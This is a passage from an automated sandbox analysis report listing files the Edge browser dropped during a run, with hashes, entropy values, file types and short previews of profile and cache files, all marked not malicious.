Preview:	{"net":{"http_server_properties":{"servers":[],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.864047146590611
Encrypted:	false
SSDEEP:	6:YHpoueH2a9a1o3/QBR70S7PMVKJTnMRK3VY:YH/u2caq3QH7E4T3y
MD5:	18D8AE83268DD3A59C64AAD659CF2FD3
SHA1:	018C9736438D095A67B1C9953082F671C2FDB681
SHA-256:	D659029D35ADEBB7918AF32FFF3202C63D8047043A8BDF329B2A97751CF95056
SHA-512:	BB0962F930E9844E8C0E9CD209C07F46259E4C7677D5443B7AEE90DCF7B7E8F9960C5E3FCB8A83B9BB40862FBE0442C547083A9FD421D86674B88B2BEBBEB2FB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Network Persistent State~RF3e1e5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	193
Entropy (8bit):	4.864047146590611
Encrypted:	false
SSDEEP:	6:YHpoueH2a9a1o3/QBR70S7PMVKJTnMRK3VY:YH/u2caq3QH7E4T3y
MD5:	18D8AE83268DD3A59C64AAD659CF2FD3
SHA1:	018C9736438D095A67B1C9953082F671C2FDB681
SHA-256:	D659029D35ADEBB7918AF32FFF3202C63D8047043A8BDF329B2A97751CF95056
SHA-512:	BB0962F930E9844E8C0E9CD209C07F46259E4C7677D5443B7AEE90DCF7B7E8F9960C5E3FCB8A83B9BB40862FBE0442C547083A9FD421D86674B88B2BEBBEB2FB
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, file counter 4, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.555790634850688
Encrypted:	false
SSDEEP:	48:TsIopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSB:QIEumQv8m1ccnvS6
MD5:	0247E46DE79B6CD1BF08CAF7782F7793
SHA1:	B3A63ED5BE3D8EC6E3949FC5E2D21D97ACC873A6
SHA-256:	AAD0053186875205E014AB98AE8C18A6233CB715DD3AF44E7E8EB259AEAB5EEA
SHA-512:	148804598D2A9EA182BD2ADC71663D481F88683CE3D672CE12A43E53B0D34FD70458BE5AAA781B20833E963804E7F4562855F2D18F7731B7C2EAEA5D6D52FBB6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}.........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\c773cec8-a390-4ac2-940b-ecfe97e5f06d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\eb4607d5-61c1-44a5-9ec4-8db77909cc13.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b34b224d-4463-4d57-9b4a-d53ff3fe8ace.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17147), with no line terminators
Category:	dropped
Size (bytes):	17149
Entropy (8bit):	5.4072011848904715
Encrypted:	false
SSDEEP:	192:sVxJ9pQTryZigaba4uyp2JCHskBREYeoeBiYzK+RTwCQB5fZ8Ipj+FsBQwZQMC1f:sVxLA3u42J0skAmGTwCcDpUqQwSZ
MD5:	DDF320DF81F6B95835EF0560914C79F1
SHA1:	47E51B055611A0AD804A8FFDF8D776E2583BEBAE
SHA-256:	B3FF8F0A34DDB825536591246C61913559DFCAC4733DB5A5E3C02F58DD08FAAB
SHA-512:	FE131A8C1A94DDFBC27BF25C73007718CEA809B10400F36E72E91597B478978208FE5FE7A6AAC028005471421BB7967652F8653C35B007C35F9B14D9FDEB008D
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_id_migration_state":2,"account_tracker_service_last_update":"13358379730626790","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117794":{"last_path":""},"380c71d3-10bf-4a5d-9a06-c932e4b7d1d8":{"last_path":""},"3a2f4dee-d482-4ef8-baef-cb22b649608c":{"last_path":""},"3b5ee6f6-5322-4061-81e4-d976818

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GrShaderCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNli7Dxt:Ls3iHb
MD5:	C0323A65F7EB9A4945387B2B00E88DD0
SHA1:	DAE01FA95C67B76542E91C697D92D6EEB5E9AE8C
SHA-256:	07D3BBAD6D4C9D7BCCF804C6B0411EF8103895D22DAF6FDF5440F2A8BF2CB837
SHA-512:	737E744A2534E112BCF2F7DBA8B98CCC80F824A5D4371C5682D99601E86B5C3BD62B7DECC7E8DB4EE3251AA8AE243C400A6DE03E9DA693400F616EDE61B34C28
Malicious:	false
Preview:	........................................)6.&`u/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\GraphiteDawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNlbZl:Ls3ll
MD5:	09D6F76439DB36E490F4AFD9F3D87822
SHA1:	C90C7C1F252DB6C3D703BB69A839BB2379A98E7B
SHA-256:	864C73D3C1B208C012C73D37A6CE5B5232FFFC3996D7CAAB65291ED7B26DCBCA
SHA-512:	394F2CBC944D6884D8CF722E518F4B11913F806623103D3E90AD1094AD418E9841BDB4D792A00A2702EA3C4F16FCE3746073FBE4DD314F31B1015297C0E8B8A4
Malicious:	false
Preview:	........................................S\.&`u/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.793266559651222
Encrypted:	false
SSDEEP:	192:akeb8jTeiRUoChl6qRAq1k8SPxVLZ7VTiq:aka8jXvKl6q3QxVNZTiq
MD5:	9999A0E3F1A55738DF9AD4AA643E00E2
SHA1:	307F3A1A10D5B572C1FE7AE51A7E41DF1C91065C
SHA-256:	8484F05812A2C81017E8F90A6E7B90491BB1206A6DA87B3BCE3FB858DD1982F6
SHA-512:	A8083C087E33427F419472D026116712D3B1DA2FB7BEA1C3F51FB19EF566D97A310D7571A83666C47F2CC1519335B65D4A96EA061C7DEB2239F89DD38C2FA285
Malicious:	false
Preview:	{"browser":{"last_redirect_origin":""},"data_use_measurement":{"data_used":{"services":{"background":{},"foreground":{}},"user":{"background":{},"foreground":{}}}},"edge":{"perf_center":{"efficiency_mode_v2_is_active":false,"perf_game_mode":true,"performance_mode":3,"performance_mode_is_on":false,"performance_mode_main_toggle":false}},"fire_local_softlanding_notification":false,"fre":{"soft_landing_bubble":{"bubble_response":0,"has_user_seen_bubble":true,"is_bubble_triggered":0}},"hardware_acceleration_mode_previous":true,"legacy":{"profile":{"name":{"migrated":true}}},"migration":{"last_edgeuwp_pin_migration_on_edge_version":"92.0.902.67","last_edgeuwp_pin_migration_on_os_version":"10 OS Version 2009 (Build 19045.2006)","last_edgeuwp_pin_migration_success":false},"os_crypt":{"audit_enabled":true,"encrypted_key":"RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAAA1jvnqDUesQo+PWZisjtYAEAAAAB4AAABNAGkAYwByAG8AcwBvAGYAdAAgAEUAZABnAGUAAAAQZgAAAAEAACAAAACBE2x+EjGrj1LG7j8AUZ7DLMrwCYKpUOwC3F0YGwWl4gAAAAA

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2aa5f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	6820
Entropy (8bit):	5.793266559651222
Encrypted:	false
SSDEEP:	192:akeb8jTeiRUoChl6qRAq1k8SPxVLZ7VTiq:aka8jXvKl6q3QxVNZTiq
